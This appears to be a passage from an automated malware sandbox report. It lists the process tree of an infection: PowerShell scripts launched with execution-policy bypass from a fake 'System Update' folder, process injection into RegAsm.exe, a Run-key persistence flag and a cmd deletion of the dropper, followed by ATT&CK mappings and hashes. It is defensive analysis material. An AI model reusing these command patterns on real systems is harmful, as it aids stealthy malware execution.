  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\aapve.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4752
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3584
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\4f0190aabf763b79ab3f5649b12cc5bf3c545b2e7047f6befca7638918123fe2.vbs"
      4⤵
      PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\aapve.ps1

Filesize
201KB

MD5
463285fb97220b9de509d3adfe193585

SHA1
a6347281bbdb4841376a1553fae481d310d6ff1c

SHA256
1879f2267c864a4fe741532efafc659502d8ffe21cc14d9bd008692d910b9a83

SHA512
7ab482253383edb7f238fe88e0e3f0bcd5d6ab9e77212975cd668417f47205f07864199411e277df752b7653316906304f12d0ffc5e1aa633a7ad476b6d53bd8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
336B

MD5
de9536fe68597da7d3e3ccfab7c3999a

SHA1
424df596fed32c52ed5b7b7f9a4ad88daea26790

SHA256
46fbc95fbd0d1c1d3f52a9c7c312db24ca30f6d79da5c6a2e6262775a2822b5a

SHA512
b2e047769d558efac0d70fcac1ae172a7852c2b2ea96b313b7c1b6db184b43c2a22107a58374c361fffc1b14983a2f9e55f903766a0ea6ad2c754fb9b3095a75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
160B

MD5
3c5c732fec8ef3253bf11d1571915f66

SHA1
5bdb73557dc5322ad5b15694da5d492a9aed2c50

SHA256
914876ee52a4063104829f96adbd27ba27c528b6e4a739ef9af77aa81bebf463

SHA512
1e2d72979fe64ebca2f82b8cc0f386b8254a5509580dc94e0f3fe82ac4a5a26d46309cd0acf6efed448f4eaebed6cf7266244944052ad89a4628fcef092e6928

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1a74323668858612d7aef1cd4663860b

SHA1
d1cfb16416cad73bda185ba8034bd68b5c6ae4d5

SHA256
835732f87327a039fd60b1d20cc1ed0d5e163c06c860e31abfe7d6dabb722a09

SHA512
2a93e97dce7a971bbd707408830f7a190e7a50d83e59538d3acee1505387d31d99fef6c88f2e71ee57a4797dddfdf01a422172e66a43ee351f93e3693730c81b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
217d9191dfd67252cef23229676c9eda

SHA1
80d940b01c28e3933b9d68b3e567adc2bac1289f

SHA256
e64811c3e57476bb644539824034cabe2cabcb88941122193e2af328f5eb2133

SHA512
86767aa3c0eec425b7c6dbfd70a4a334fb5b1227c05fb06fbb3845e7b6974008386276f441c8e66e2bf9b0ae0a76133c4e5602211788cd702eaeadd12c5ff757

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dyzhylas.qwv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1620-12-0x00007FF960200000-0x00007FF960CC1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-0-0x00007FF960203000-0x00007FF960205000-memory.dmp

Filesize
8KB

Download
memory/1620-11-0x00007FF960200000-0x00007FF960CC1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-66-0x00007FF960200000-0x00007FF960CC1000-memory.dmp

Filesize
10.8MB

Download
memory/1620-1-0x00000249C88E0000-0x00000249C8902000-memory.dmp

Filesize
136KB

Download
memory/3584-81-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/3584-83-0x00000000056D0000-0x000000000576C000-memory.dmp

Filesize
624KB

Download
memory/3664-22-0x000001F91D9F0000-0x000001F91D9FA000-memory.dmp

Filesize
40KB

Download
memory/4752-80-0x000001ED25BA0000-0x000001ED25BAA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads